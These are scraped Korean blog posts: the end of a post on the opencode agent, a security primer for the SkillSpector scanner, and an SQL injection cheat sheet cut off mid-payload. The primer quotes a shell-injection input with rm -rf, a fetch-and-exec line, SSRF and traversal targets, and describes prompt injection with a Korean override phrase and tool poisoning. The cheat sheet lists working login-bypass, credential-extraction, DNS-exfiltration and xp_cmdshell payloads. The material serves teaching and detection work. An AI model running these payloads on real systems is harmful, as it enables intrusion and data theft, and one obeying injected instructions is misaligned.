opencode-ai opencode # 현재 디렉터리에서 TUI 시작 (데몬 자동 기동) opencode run \u0026#34;...\u0026#34; # 비대화형 1회 실행 opencode serve # 헤드리스 서버 Tab키로 build↔plan 전환, @general로 서브에이전트를 호출한다.\n강점과 한계 강점은 provider 중립성(20개 이상 AI SDK provider + 자체 프로토콜 + models.dev 동적 카탈로그), 진짜 클라이언트-서버(헤드리스·CI·다중 프런트엔드), 세밀한 권한 모델, 스킬·서브에이전트·MCP·LSP·플러그인 등 풍부한 확장점, 강타입 도메인과 SQLite 영속화·되돌리기·압축이다.\n한계는 이중 런타임 부채(V1/V2 공존, dual-write 브리지, bash 등에 다수의 V2 포팅 TODO), 거대·복잡(17M 패키지, Effect 추상화의 진입 장벽), Bun 1차 의존, native LLM 경로가 아직 실험 플래그 뒤라는 점이다.\n차별점 opencode Claude Code Aider Cursor 형태 터미널 TUI + 서버/데스크톱/웹 터미널 CLI 터미널 CLI IDE 포크 라이선스 MIT 오픈소스 비공개 Apache-2.0 비공개 LLM 벤더 중립, 20+ provider Anthropic 전용 멀티 provider 멀티(자체 라우팅) 구조 클라이언트-서버 단일 프로세스 단일 프로세스 IDE 내장 요약하면 opencode의 정체성은 \u0026ldquo;벤더 중립 + 완전 오픈소스 + 클라이언트-서버\u0026quot;다. Claude Code의 에이전트 UX 패턴(서브에이전트, system-reminder 주입, skill, plan 모드)을 상당 부분 차용하되, 단일 벤더 종속을 깨고 다중 프런트엔드를 지원한다는 점에서 갈린다. Aider(Python, git-diff 중심), Cursor/Continue(IDE 내장)와는 \u0026ldquo;터미널 우선 + 서버화\u0026quot;라는 축에서 구분된다.\n정리 opencode는 Claude Code류 코딩 에이전트의 UX를 오픈소스·벤더 중립으로 옮긴 도구다. 본질은 에이전트 루프(V1 prompt.ts) 위에 LLM 추상화 두 층(AI SDK 기본 + 자체 프로토콜 실험)과 동적 모델 카탈로그(models.dev)를 얹고, 전체를 HTTP 서버로 만들어 여러 프런트엔드가 공유하게 한 구조다. 코드를 읽을 때 두 가지를 기억하면 된다. 현역 루프는 V1이고 V2는 마이그레이션 중이다. 그리고 기본 LLM 경로는 AI SDK이며 자체 프로토콜은 아직 플래그 뒤의 실험이다. 벤더 중립과 클라이언트-서버라는 두 베팅이 이 프로젝트를 다른 코딩 에이전트와 구분 짓는다.\n","permalink":"https://charminggroot.github.io/posts/098-opencode/","summary":"opencode는 터미널에서 도는 오픈소스 코딩 에이전트다. 단일 LLM 벤더에 종속되지 않고 20개 이상 provider를 지원하는 것이 핵심이고, 에이전트를 로컬 HTTP 서버로 만들어 TUI·데스크톱·웹·CI가 같은 API를 공유한다. Claude Code의 UX 패턴을 차용하되 벤더 종속을 깬다. 에이전트 루프, LLM 추상화 두 층, 권한 모델, 그리고 V1/V2 이중 런타임 부채까지 코드 레벨로 분해한다.","title":"098. opencode — 벤더 중립 오픈소스 코딩 에이전트의 클라이언트-서버 구조"},{"content":"보안 문서를 읽다 보면 모르는 단어가 줄줄이 나온다. 그걸 하나씩 검색하며 읽으면 흐름이 끊긴다. 여기서는 SkillSpector 코드나 OWASP 문서를 읽을 때 자주 만나는 개념들을 미리 정리한다. 손으로 해본 지식이 아니라 독해를 위한 개념 지도다.\n1. 공격자 관점: 왜 코드가 취약해지는가 보안 취약점의 공통 원인은 신뢰 경계(trust boundary) 착각이다. 외부에서 들어오는 데이터를 믿어버리거나, 내부 코드가 입력을 그대로 실행하거나, 권한이 필요한 곳에 검증이 없는 경우다. 취약점의 이름은 달라도 이 패턴에서 벗어나는 경우는 드물다.\n2. 웹 보안 기초 취약점 Injection (인젝션) 외부 입력이 코드나 명령의 일부로 해석되는 것. 가장 넓은 카테고리다.\nSQL Injection — DB 쿼리에 사용자 입력이 그대로 들어갈 때.\n# 취약 query = f\u0026#34;SELECT * FROM users WHERE name = \u0026#39;{user_input}\u0026#39;\u0026#34; # user_input = \u0026#34;\u0026#39;; DROP TABLE users; --\u0026#34; 이면? '로 문자열을 닫고 SQL 명령을 덧붙인다. 결과적으로 DB 명령이 의도와 다르게 실행된다.\nCommand Injection — OS 쉘 명령에 입력이 끼어드는 것.\nimport os os.system(f\u0026#34;ping {user_input}\u0026#34;) # user_input = \u0026#34;8.8.8.8; rm -rf /\u0026#34; 세미콜론으로 명령을 이어붙이면 임의 명령이 실행된다.\nCode Injection — eval()이나 exec()에 외부 입력이 들어올 때. Python에서는 특히 위험하다. SkillSpector의 agent_skill_remote_bootstrap_execution 룰이 잡는 패턴이 이것: exec(requests.get(\u0026quot;...\u0026quot;).text).\nSSRF (Server-Side Request Forgery) 서버가 외부 URL을 대신 요청하게 만드는 공격. 클라이언트에서 직접 접근하면 막히는 내부 리소스에, 서버를 경유해서 도달한다.\n공격자 → 서버에 \u0026#34;http://169.254.169.254/latest/meta-data/ 로 요청해줘\u0026#34; → 서버가 AWS 메타데이터에 접근 169.254.169.254는 AWS/GCP/Azure 클라우드 인스턴스 내부에서만 접근 가능한 메타데이터 서버 주소다. 여기서 API 키, IAM 토큰, 인스턴스 정보를 꺼낼 수 있다. SkillSpector에 아직 탐지 룰이 없는 갭이다([[095-qlora]]와 무관, 별도 맥락).\nPath Traversal (경로 탐색) ../를 이용해 의도한 디렉터리 밖의 파일에 접근하는 것.\n요청: /files/../../../etc/passwd 실제 접근: /etc/passwd Credential / Secret Exposure (자격증명 노출) API 키, 비밀번호, 토큰 같은 민감한 값이 코드, 로그, 환경변수를 통해 새어 나가는 것. SkillSpector의 data_exfiltration_analyzer가 이걸 잡는다.\nSupply Chain Attack (공급망 공격) 내가 쓰는 패키지나 도구 자체가 오염된 경우. 코드를 직접 공격하는 게 아니라, 의존성(dependency)을 경유해서 들어온다. npm의 event-stream 사건, PyPI에 올라온 타이포스쿼팅 패키지들이 대표적. SkillSpector의 SC(Supply Chain) 카테고리가 이걸 다루고, OSV.dev에 실시간 조회한다.\nPrivilege Escalation (권한 상승) 낮은 권한에서 높은 권한을 획득하는 것. 웹에서는 일반 사용자 → 관리자, 시스템에서는 일반 프로세스 → root.\n3. AI/LLM 보안 — OWASP LLM Top 10 OWASP(Open Web Application Security Project)는 웹 보안 가이드라인을 만드는 비영리 재단이다. LLM 앱 전용 Top 10을 따로 만들었고, SkillSpector PR들이 이 번호를 reference로 단다(LLM01, LLM06 등).\nLLM01: Prompt Injection (프롬프트 인젝션) 가장 중요한 항목. 외부 입력이 LLM의 지시(instruction)를 덮어쓰거나 조작하는 것. SQL Injection의 LLM 버전.\n두 종류가 있다:\nDirect: 사용자가 직접 시스템 프롬프트를 우회하는 지시를 입력 (\u0026ldquo;이전 지시를 무시하고\u0026hellip;\u0026rdquo;) Indirect: 에이전트가 처리하는 외부 문서(웹페이지, 파일)에 숨겨진 지시가 있어, 에이전트가 그걸 지시로 받아들임 AI 에이전트가 스킬을 실행할 때, 스킬 안에 숨겨진 지시가 있으면 에이전트가 그대로 따를 수 있다. SkillSpector의 prompt_injection_analyzer가 이걸 잡는다.\nLLM02: Sensitive Information Disclosure (민감 정보 노출) 모델이 학습 데이터에 포함된 개인정보, API 키, 내부 시스템 정보를 노출하거나, 시스템 프롬프트를 사용자에게 유출하는 것.\nLLM03: Supply Chain (공급망) LLM 앱에서의 공급망 위협. 오염된 파인튜닝 데이터, 악성 플러그인/스킬, 서드파티 모델 자체의 백도어. 스킬이 공급망 공격의 벡터가 될 수 있다는 게 SkillSpector의 전제다.\nLLM06: Excessive Agency (과도한 자율성) 에이전트가 필요 이상의 권한을 갖거나, 사람 확인 없이 되돌리기 어려운 행동을 자동으로 수행하는 것. 파일 삭제, 이메일 발송, API 호출, 코드 배포 같은 행동을 \u0026ldquo;silently\u0026rdquo;(조용히, 확인 없이) 하면 여기에 해당한다.\nSkillSpector의 excessive_agency_analyzer와 destructive_autonomous_actions YARA 룰이 이걸 잡는다.\nLLM07: System Prompt Leakage (시스템 프롬프트 유출) 에이전트가 자신의 시스템 프롬프트(내부 지시)를 사용자에게 노출하도록 유도하는 공격. 시스템 프롬프트에는 보통 내부 정책, API 키, 비즈니스 로직이 들어 있다.\nTool Poisoning (도구 포이즈닝) MCP/에이전트 도구의 메타데이터(description, parameters)에 악성 지시를 숨기는 것. LLM이 도구 설명을 읽고 그 지시를 따르게 만든다. debugactiveprocess의 agent_skill_mcp_tool_poisoning_metadata 룰이 잡는 패턴.\nRug Pull (러그풀) 처음에는 정상인 스킬/패키지가 나중에 악성 버전으로 교체되는 것. npm 생태계에서 자주 발생했고, MCP 스킬 생태계에서도 동일한 위협이 있다.\n4. 정적 분석 기초 SkillSpector가 코드를 실행하지 않고 파일을 보는 방식. 탐지 룰을 이해하려면 이 기법들을 알아야 한다.\nRegex (정규식) 기반 탐지 코드를 문자열로 보고 패턴을 찾는다. 빠르고 단순하지만 문맥을 모른다.\n# SkillSpector가 이런 패턴을 찾음 r\u0026#34;os\\.environ\\s*\\.items\\s*\\(\\)\u0026#34; 한계: 주석 안에 있어도 잡힌다, 변수 이름만 바꿔도 우회된다.\nAST (Abstract Syntax Tree, 추상 구문 트리) 코드를 파싱해서 구조로 분석한다. import os 다음에 os.system() 호출이 있는지처럼, 코드의 의미 구조를 본다. Regex보다 정확하고 우회가 어렵다.\n# AST로 보면 이게 같은 패턴임을 알 수 있다 os.system(cmd) getattr(os, \u0026#39;system\u0026#39;)(cmd) YARA 악성 파일 탐지에 쓰는 시그니처 언어. 바이너리와 텍스트 모두 지원하고, 여러 조건을 조합해서 룰을 만든다.\nrule example { strings: $a = \u0026#34;OPENAI_API_KEY\u0026#34; $b = /requests\\.post\\s*\\(/ $c = \u0026#34;discord.com/api/webhooks\u0026#34; condition: $a and $b and $c // 세 조건이 모두 있을 때만 } 단일 문자열 매칭이 아니라 여러 인디케이터의 조합으로 탐지하기 때문에 FP(오탐)를 줄일 수 있다. SkillSpector는 YARA를 malware, webshell, cryptominer 탐지에 쓰고, PR #1이 에이전트 스킬 전용 룰을 추가했다.\nTaint Tracking (오염 추적) 데이터가 **소스(source)**에서 **싱크(sink)**로 흐르는 경로를 추적한다.\nSource: 신뢰할 수 없는 입력이 들어오는 지점 (request.body, os.environ, 파일 읽기) Sink: 위험한 함수가 호출되는 지점 (eval(), os.system(), DB 쿼리, HTTP 요청) 소스에서 시작한 데이터가 중간에 검증 없이 싱크에 도달하면 취약점. SQL Injection을 예로 들면: request.body → (untainted) → cursor.execute() 경로가 taint path다.\nFP / FN False Positive (FP, 오탐): 정상인데 악성이라고 잡는 것. 탐지 룰이 너무 넓을 때. False Negative (FN, 미탐): 악성인데 못 잡는 것. 탐지 룰이 너무 좁을 때. 둘은 트레이드오프다. YARA 룰에 and 조건을 많이 걸수록 FP가 줄지만 FN이 늘 수 있다. debugactiveprocess가 test_credential_webhook_requires_collection_and_transmission처럼 FP 방지 테스트를 넣은 이유.\n5. 자주 보이는 용어 빠른 참조 용어 한줄 설명 CVE 공개된 취약점에 붙는 고유 번호 (CVE-2024-XXXXX) OSV 오픈소스 취약점 DB. SkillSpector SC4가 여기 조회함 SARIF 정적 분석 결과 교환 포맷. GitHub code scanning에 바로 연동됨 SPDX 소프트웨어 라이선스 식별자. 파일 헤더에 SPDX-License-Identifier: Apache-2.0 형태로 씀 DCO Developer Certificate of Origin. 커밋에 Signed-off-by: 줄을 붙여 저작권 귀속을 선언 SSRF 서버가 공격자 대신 내부 리소스에 요청하도록 유도하는 공격 RCE Remote Code Execution. 원격에서 임의 코드 실행. 가장 심각한 취약점 유형 Exfiltration 내부 데이터를 외부로 빼내는 것. SkillSpector에서는 자격증명 유출이 주요 대상 Severity 취약점 심각도. CRITICAL \u0026gt; HIGH \u0026gt; MEDIUM \u0026gt; LOW Confidence 탐지 결과가 맞을 확률에 대한 추정. YARA 룰 메타에 0.0~1.0으로 표기 Zero-width char 화면에 안 보이는 유니코드 문자 (ZWSP, ZWNJ 등). 숨겨진 지시를 삽입할 때 쓰임 RTL override 우→좌 텍스트 방향 제어 문자. 파일명·코드에서 내용을 숨기는 데 악용됨 Webhook 이벤트 발생 시 지정 URL로 POST 요청을 보내는 패턴. exfiltration 경로로 자주 쓰임 Typosquatting numpy → nunpy처럼 오타를 노린 악성 패키지명. 공급망 공격 벡터 SkillSpector 코드를 읽을 때 위 개념들이 어디에 해당하는지 보이면, 탐지 룰이 왜 그렇게 생겼는지 따라갈 수 있다. 실제 취약점이 동작하는 걸 보려면 [[PortSwigger-labs]]가 필요하지만, 그건 다음 단계.\n","permalink":"https://charminggroot.github.io/posts/static-analysis-ai-security/","summary":"SkillSpector 같은 보안 스캐너에 기여하거나 코드를 읽을 때 필요한 개념들. 웹 취약점 기초, OWASP LLM Top 10, 정적 분석(regex·AST·YARA·taint tracking)을 개발자 시각에서 정리한다.","title":"보안-05. 정적 분석·AI 보안 기초 — 웹 취약점·OWASP LLM·YARA·Taint"},{"content":"SQL Injection(SQLi)은 공격자가 애플리케이션이 데이터베이스에 보내는 쿼리를 조작할 수 있게 해주는 보안 취약점이다. 웹 애플리케이션 취약점 중 가장 흔하고 심각한 유형 중 하나로, 공격자가 DB에서 임의의 SQL 코드를 실행할 수 있게 한다. 이는 데이터 무단 접근, 데이터 변조, 심한 경우 DB 서버 전체 장악으로 이어질 수 있다.\n목차 치트시트 도구 진입점 탐지 DBMS 식별 인증 우회 Raw MD5와 SHA1 UNION 기반 인젝션 Error 기반 인젝션 Blind 인젝션 Boolean 기반 인젝션 Blind Error 기반 인젝션 Time 기반 인젝션 Out of Band (OAST) Stacked 기반 인젝션 Polyglot 인젝션 Routed 인젝션 Second Order SQL Injection PDO Prepared Statements WAF 우회 (일반) 공백 금지 쉼표 금지 등호 금지 대소문자 변형 실습 참고 치트시트 MSSQL Injection MySQL Injection OracleSQL Injection PostgreSQL Injection SQLite Injection Cassandra Injection DB2 Injection SQLmap 도구 sqlmapproject/sqlmap — SQL 인젝션 자동 탐지 및 DB 탈취 도구 r0oth3x49/ghauri — SQLi 보안 결함 탐지·익스플로잇을 자동화하는 크로스플랫폼 고급 도구 진입점 탐지 SQL 인젝션에서 진입점 탐지는 사용자 입력이 SQL 쿼리에 포함되기 전에 제대로 살균(sanitize)되지 않는 위치를 찾는 과정이다.\n에러 메시지: 입력 필드에 특수문자(예: 작은따옴표 ')를 넣으면 SQL 에러가 발생할 수 있다. 애플리케이션이 상세 에러 메시지를 표시한다면, SQL 인젝션 가능 지점일 수 있다.\n단순 문자: ', \u0026quot;, ;, ), * URL 인코딩: %27, %22, %23, %3B, %29, %2A 이중 인코딩: %%2727, %25%27 유니코드 문자: U+02BA, U+02B9 MODIFIER LETTER DOUBLE PRIME (U+02BA, %CA%BA로 인코딩)은 U+0022 큰따옴표(\u0026quot;)로 변환됨 MODIFIER LETTER PRIME (U+02B9, %CA%B9로 인코딩)은 U+0027 어포스트로피(\u0026rsquo;)로 변환됨 동어반복(Tautology) 기반 SQL 인젝션: 항상 참인 조건을 입력해 취약점을 테스트한다. 예를 들어 아이디 필드에 admin' OR '1'='1을 입력하면, 시스템이 취약할 경우 admin으로 로그인될 수 있다.\n문자열 이어붙이기\n`+HERP \u0026#39;||\u0026#39;DERP \u0026#39;+\u0026#39;herp \u0026#39; \u0026#39;DERP \u0026#39;%20\u0026#39;HERP \u0026#39;%2B\u0026#39;HERP 논리 테스트\npage.asp?id=1 or 1=1 -- true page.asp?id=1\u0026#39; or 1=1 -- true page.asp?id=1\u0026#34; or 1=1 -- true page.asp?id=1 and 1=2 -- false 타이밍 공격: 의도적인 지연을 일으키는 SQL 명령(MySQL의 SLEEP, BENCHMARK 함수 등)을 입력해 주입 가능 지점을 찾는다. 입력 후 응답이 비정상적으로 오래 걸리면 취약할 수 있다.\nDBMS 식별 키워드 기반 DBMS 식별 특정 SQL 키워드는 특정 DBMS에서만 동작한다. 이 키워드들을 인젝션 시도에 넣고 응답을 관찰하면 사용 중인 DBMS 유형을 파악할 수 있다.\nDBMS SQL 페이로드 MySQL conv('a',16,2)=conv('a',16,2) MySQL connection_id()=connection_id() MySQL crc32('MySQL')=crc32('MySQL') MSSQL BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123) MSSQL @@CONNECTIONS\u0026gt;0 MSSQL @@CONNECTIONS=@@CONNECTIONS MSSQL @@CPU_BUSY=@@CPU_BUSY MSSQL USER_ID(1)=USER_ID(1) ORACLE ROWNUM=ROWNUM ORACLE RAWTOHEX('AB')=RAWTOHEX('AB') ORACLE LNNVL(0=123) POSTGRESQL 5::int=5 POSTGRESQL 5::integer=5 POSTGRESQL pg_client_encoding()=pg_client_encoding() POSTGRESQL get_current_ts_config()=get_current_ts_config() POSTGRESQL quote_literal(42.5)=quote_literal(42.5) POSTGRESQL current_database()=current_database() SQLITE sqlite_version()=sqlite_version() SQLITE last_insert_rowid()\u0026gt;1 SQLITE last_insert_rowid()=last_insert_rowid() MSACCESS val(cvar(1))=1 MSACCESS IIF(ATN(2)\u0026gt;0,1,0) BETWEEN 2 AND 0 에러 기반 DBMS 식별 DBMS마다 문제 발생 시 반환하는 에러 메시지가 다르다. 에러를 유발하고 특정 메시지를 분석하면 DBMS 유형을 파악할 수 있다.\nDBMS 에러 메시지 예시 페이로드 예시 MySQL You have an error in your SQL syntax; ... near '' at line 1 ' PostgreSQL ERROR: unterminated quoted string at or near \u0026quot;'\u0026quot; ' PostgreSQL ERROR: syntax error at or near \u0026quot;1\u0026quot; 1' Microsoft SQL Server Unclosed quotation mark after the character string ''. ' Microsoft SQL Server Incorrect syntax near ''. ' Microsoft SQL Server The conversion of the varchar value to data type int resulted in an out-of-range value. 1' Oracle ORA-00933: SQL command not properly ended ' Oracle ORA-01756: quoted string not properly terminated ' Oracle ORA-00923: FROM keyword not found where expected 1' 인증 우회 일반적인 인증 메커니즘에서 사용자는 아이디와 비밀번호를 제출한다. 애플리케이션은 보통 이 자격증명을 DB에 대조한다. 예를 들어 SQL 쿼리는 다음과 같다:\nSELECT * FROM users WHERE username = \u0026#39;user\u0026#39; AND password = \u0026#39;pass\u0026#39;; 공격자는 아이디나 비밀번호 필드에 악성 SQL 코드를 주입하려 시도한다. 예를 들어 아이디 필드에 아래를 입력하면:\n\u0026#39; OR \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39;-- 아이디 필드에 항상 참인 구문을 주입하고 나머지 SQL 쿼리를 주석 처리한다. 결과 쿼리가 비밀번호를 더 이상 검사하지 않으므로 비밀번호 필드에는 무엇을 입력해도 된다.\nSELECT * FROM users WHERE username = \u0026#39;\u0026#39; OR \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39;--\u0026#39; AND password = \u0026#39;\u0026#39;; 여기서 '1'='1'은 항상 참이므로, 쿼리가 유효한 사용자를 반환해 인증 검사를 사실상 우회한다.\n⚠️ 이 경우 DB는 테이블의 모든 사용자와 일치하므로 결과 배열을 반환한다. 서버 측에서 결과가 하나만 오길 기대했다면 오류가 발생한다. LIMIT 절을 추가해 반환 행 수를 제한한다.\n아이디 필드에 아래 페이로드를 제출하면 DB의 첫 번째 사용자로 로그인된다. 정확한 아이디를 사용하면서 비밀번호 필드에도 페이로드를 주입해 특정 사용자를 타겟팅할 수도 있다.\n\u0026#39; or 1=1 limit 1 -- ⚠️ 이 페이로드는 항상 참을 반환하므로 무분별하게 사용하지 말 것. 세션, 파일, 설정, DB 데이터를 의도치 않게 삭제할 수 있는 엔드포인트와 상호작용할 수 있다.\nAuth_Bypass.txt Raw MD5와 SHA1 PHP에서 선택적 binary 파라미터를 true로 설정하면, md5 다이제스트가 길이 16의 raw 바이너리 형식으로 반환된다. 사용자가 제출한 비밀번호의 MD5 해시를 검사하는 아래 PHP 코드를 보자.\nsql = \u0026#34;SELECT * FROM admin WHERE pass = \u0026#39;\u0026#34;.md5($password,true).\u0026#34;\u0026#39;\u0026#34;; 공격자는 md5($password,true) 함수의 결과에 작은따옴표가 포함돼 SQL 컨텍스트를 탈출하는 페이로드를 만들 수 있다. 예를 들어 ' or 'SOMETHING.\n해시 입력 출력 (Raw) 페이로드 md5 ffifdyop 'or'6\\]..!r,..b 'or' md5 129581926211651571912466741651878684928 ÚT0Do#ßÁ'or'8 'or' sha1 3fDf Q..u'='..@..[.t.- o.._-! '=' sha1 178374 ÜÛ¾}_ia!8Wm'/*´Õ '/* sha1 17 `Ùp2ûjww%6`` \\ 이 동작을 악용해 컨텍스트를 탈출함으로써 인증을 우회할 수 있다.\nsql1 = \u0026#34;SELECT * FROM admin WHERE pass = \u0026#39;\u0026#34;.md5(\u0026#34;ffifdyop\u0026#34;, true).\u0026#34;\u0026#39;\u0026#34;; sql1 = \u0026#34;SELECT * FROM admin WHERE pass = \u0026#39;\u0026#39;or\u0026#39;6...]\u0026#39;\u0026#34;; 해시된 비밀번호 2025년 기준으로 애플리케이션은 평문 비밀번호를 거의 저장하지 않는다. 대신 인증 시스템은 비밀번호의 표현값(보통 salt와 함께 키 유도 함수로 계산한 해시)을 사용한다. 이 변화는 일부 고전적인 SQLi 우회 방식의 메커니즘을 바꾼다. UNION으로 행을 주입하는 공격자는 이제 사용자의 원래 비밀번호가 아니라 애플리케이션이 기대하는 저장 표현값과 일치하는 값을 제공해야 한다.\n순진한 인증 흐름은 보통 다음 단계를 거친다:\nDB에서 사용자 레코드를 조회한다 (예: SELECT username, password_hash FROM users WHERE username = ?). DB에서 저장된 password_hash를 받는다. 설정된 알고리즘으로 hash(입력_비밀번호)를 로컬에서 계산한다. stored_password_hash == hash(입력_비밀번호)를 비교한다. 공격자가 UNION을 이용해 결과 셋에 추가 행을 주입할 수 있다면, 공격자가 제어하는 stored_password_hash를 애플리케이션이 받게 만들 수 있다. 주입된 해시가 앱이 계산한 hash(공격자_비밀번호)와 같으면 비교에 성공하고 공격자는 주입한 username으로 인증된다.\nadmin\u0026#39; AND 1=0 UNION ALL SELECT \u0026#39;admin\u0026#39;, \u0026#39;161ebd7d45089b3446ee4e0d86dbcf92\u0026#39;-- AND 1=0: 요청이 거짓이 되도록 강제한다. SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92': 필요한 만큼 컬럼을 선택한다. 여기서 161ebd7d45089b3446ee4e0d86dbcf92는 MD5(\u0026quot;P@ssw0rd\u0026quot;)에 해당한다. 애플리케이션이 MD5(\u0026quot;P@ssw0rd\u0026quot;)를 계산해 161ebd7d45089b3446ee4e0d86dbcf92와 같으면, 로그인 비밀번호로 \u0026quot;P@ssw0rd\u0026quot;를 제출하면 검사를 통과한다.\n앱이 salt와 KDF(salt, password)를 저장하면 이 방법은 실패한다. 공격자가 salt와 KDF 파라미터를 알거나 제어하지 못하는 한, 단일 정적 해시 주입은 사용자별 salted 결과와 일치할 수 없다.\nUNION 기반 인젝션 일반 SQL 쿼리는 하나의 테이블에서 데이터를 가져온다. UNION 연산자는 여러 SELECT 문을 결합할 수 있다. 애플리케이션이 SQL 인젝션에 취약하면, 공격자는 원래 쿼리에 UNION 문을 덧붙이는 조작된 SQL 쿼리를 주입할 수 있다.\n취약한 웹 애플리케이션이 product ID를 기반으로 제품 상세 정보를 DB에서 가져온다고 가정하자:\nSELECT product_name, product_price FROM products WHERE product_id = \u0026#39;input_id\u0026#39;; 공격자는 input_id를 변조해 users 같은 다른 테이블의 데이터를 포함시킬 수 있다.\n1\u0026#39; UNION SELECT username, password FROM users -- 페이로드 제출 후 쿼리는 다음 SQL이 된다:\nSELECT product_name, product_price FROM products WHERE product_id = \u0026#39;1\u0026#39; UNION SELECT username, password FROM users --\u0026#39;; ⚠️ 두 SELECT 절의 컬럼 수가 같아야 한다.\nError 기반 인젝션 Error 기반 SQL 인젝션은 DB에서 반환되는 에러 메시지에 의존해 DB 구조에 관한 정보를 수집하는 기법이다. SQL 쿼리의 입력 파라미터를 조작해 DB가 에러 메시지를 생성하도록 만든다. 이 에러들은 테이블명, 컬럼명, 데이터 타입 같은 중요한 세부 정보를 노출할 수 있고, 이를 추가 공격에 활용할 수 있다.\n예를 들어 PostgreSQL에서 SQL 쿼리에 아래 페이로드를 주입하면, LIMIT 절이 숫자값을 기대하므로 에러가 발생한다.\nLIMIT CAST((SELECT version()) as numeric) 에러가 version() 출력을 노출한다.\nERROR: invalid input syntax for type numeric: \u0026#34;PostgreSQL 9.5.25 on x86_64-pc-linux-gnu\u0026#34; Blind 인젝션 Blind SQL 인젝션은 DB에 참/거짓 질문을 하고 애플리케이션의 응답으로 답을 판단하는 SQL 인젝션 공격 유형이다.\nBoolean 기반 인젝션 DB에 SQL 쿼리를 보내 쿼리가 TRUE 또는 FALSE를 반환하느냐에 따라 애플리케이션이 다른 결과를 반환하게 만드는 공격이다. 공격자는 애플리케이션 동작의 차이를 기반으로 정보를 추론할 수 있다.\n페이지 크기, HTTP 응답 코드, 또는 페이지에서 누락된 부분이 Boolean 기반 Blind SQL 인젝션 성공 여부를 탐지하는 강력한 지표다.\n@@hostname 변수의 내용을 복구하는 단순 예시:\n주입 지점 식별 및 취약점 확인: 참/거짓으로 평가되는 페이로드를 주입해 SQL 인젝션 취약점을 확인한다.\nhttp://example.com/item?id=1 AND 1=1 -- (기대: 정상 응답) http://example.com/item?id=1 AND 1=2 -- (기대: 다른 응답 또는 에러) 호스트명 길이 추출: 응답이 일치를 나타낼 때까지 증가시키며 호스트명 길이를 추측한다.\nhttp://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (기대: 변화 없음) http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (기대: 변화 없음) http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (기대: 응답 변화) 호스트명 문자 추출: substring과 ASCII 비교로 호스트명의 각 문자를 추출한다.\nhttp://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) \u0026gt; 64 -- http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 -- 이후 @@hostname의 모든 문자를 찾을 때까지 반복한다. 물론 이 예시가 가장 빠른 방법은 아니다. 속도를 높이려면:\n이진 탐색으로 문자 추출: 요청 수를 선형에서 로그 시간으로 줄여 데이터 추출 효율을 크게 높인다. Blind Error 기반 인젝션 DB에 SQL 쿼리를 보내 쿼리가 성공적으로 반환됐는지 또는 에러를 유발했는지에 따라 애플리케이션이 다른 결과를 반환하게 만드는 공격이다. 이 경우 서버 응답으로 성공 여부만 추론하며, 에러 출력에서 데이터를 추출하지는 않는다.\n예시: SQLite에서 json() 함수를 이용해 에러를 트리거함으로써 주입이 참인지 거짓인지 판단하는 오라클로 사용.\n\u0026#39; AND CASE WHEN 1=1 THEN 1 ELSE json(\u0026#39;\u0026#39;) END AND \u0026#39;A\u0026#39;=\u0026#39;A -- 정상 \u0026#39; AND CASE WHEN 1=2 THEN 1 ELSE json(\u0026#39;\u0026#39;) END AND \u0026#39;A\u0026#39;=\u0026#39;A -- malformed JSON Time 기반 인젝션 Time 기반 SQL 인젝션은 특정 쿼리가 참인지 거짓인지 추론하기 위해 DB 지연에 의존하는 Blind SQL 인젝션 공격 유형이다. 애플리케이션이 DB 쿼리에서 직접적인 피드백을 표시하지 않지만 시간 지연 SQL 명령 실행을 허용할 때 사용한다. 공격자는 DB 응답에 걸리는 시간을 분석해 간접적으로 정보를 수집할 수 있다.\nDB의 기본 SLEEP 함수 \u0026#39; AND SLEEP(5)/* \u0026#39; AND \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; AND SLEEP(5) \u0026#39; ; WAITFOR DELAY \u0026#39;00:00:05\u0026#39; -- 완료에 시간이 많이 걸리는 무거운 쿼리. 보통 암호화 함수가 해당됨. BENCHMARK(2000000,MD5(NOW())) Time 기반 SQL 인젝션으로 DB 버전을 복구하는 기본 예시:\nhttp://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = \u0026#39;5\u0026#39;, BENCHMARK(1000000, MD5(1)), 0) -- 서버 응답이 수 초 걸린다면 버전이 \u0026lsquo;5\u0026rsquo;로 시작한다는 의미다.\nOut of Band (OAST) Out-of-Band SQL 인젝션(OOB SQLi)은 공격자가 대안적인 통신 채널을 이용해 DB에서 데이터를 추출하는 방식이다. HTTP 응답 내에서 즉각적인 피드백을 받는 기존 기법과 달리, OOB SQLi는 DB 서버가 공격자 제어 서버로 네트워크 연결을 맺는 능력에 의존한다. 이 방법은 주입된 SQL 명령의 결과를 직접 볼 수 없거나 서버 응답이 불안정하거나 신뢰할 수 없을 때 특히 유용하다.\nDBMS마다 대역 외 연결을 생성하는 다양한 방법이 있으며, 가장 일반적인 기법은 DNS exfiltration이다:\nMySQL\nLOAD_FILE(\u0026#39;\\\\\\\\BURP-COLLABORATOR-SUBDOMAIN\\\\a\u0026#39;) SELECT ... INTO OUTFILE \u0026#39;\\\\\\\\BURP-COLLABORATOR-SUBDOMAIN\\a\u0026#39; MSSQL\nSELECT UTL_INADDR.get_host_address(\u0026#39;BURP-COLLABORATOR-SUBDOMAIN\u0026#39;) exec master..xp_dirtree \u0026#39;//BURP-COLLABORATOR-SUBDOMAIN/a\u0026#39; Stacked 기반 인젝션 Stacked Queries SQL 인젝션은 세미콜론(;) 같은 구분자로 구분해 단일 쿼리에서 여러 SQL 문을 실행하는 기법이다. 이를 통해 공격자는 합법적인 쿼리 다음에 추가적인 악성 SQL 명령을 실행할 수 있다. 모든 DB나 애플리케이션 설정이 stacked queries를 지원하지는 않는다.\n1; EXEC xp_cmdshell(\u0026#39;whoami\u0026#39;) -- Polyglot 인젝션 Polyglot SQL 인젝션 페이로드는 수정 없이 여러 컨텍스트나 환경에서 성공적으로 실행될 수 있도록 특별히 제작된 SQL 인젝션 공격 문자열이다. 다양한 시나리오에서 유효한 SQL이 되어 웹 애플리케이션이나 DB의 다양한 유형의 검증, 파싱, 실행 로직을 우회할 수 있다.\nSLEEP(1) /*\u0026#39; or SLEEP(1) or \u0026#39;\u0026#34; or SLEEP(1) or 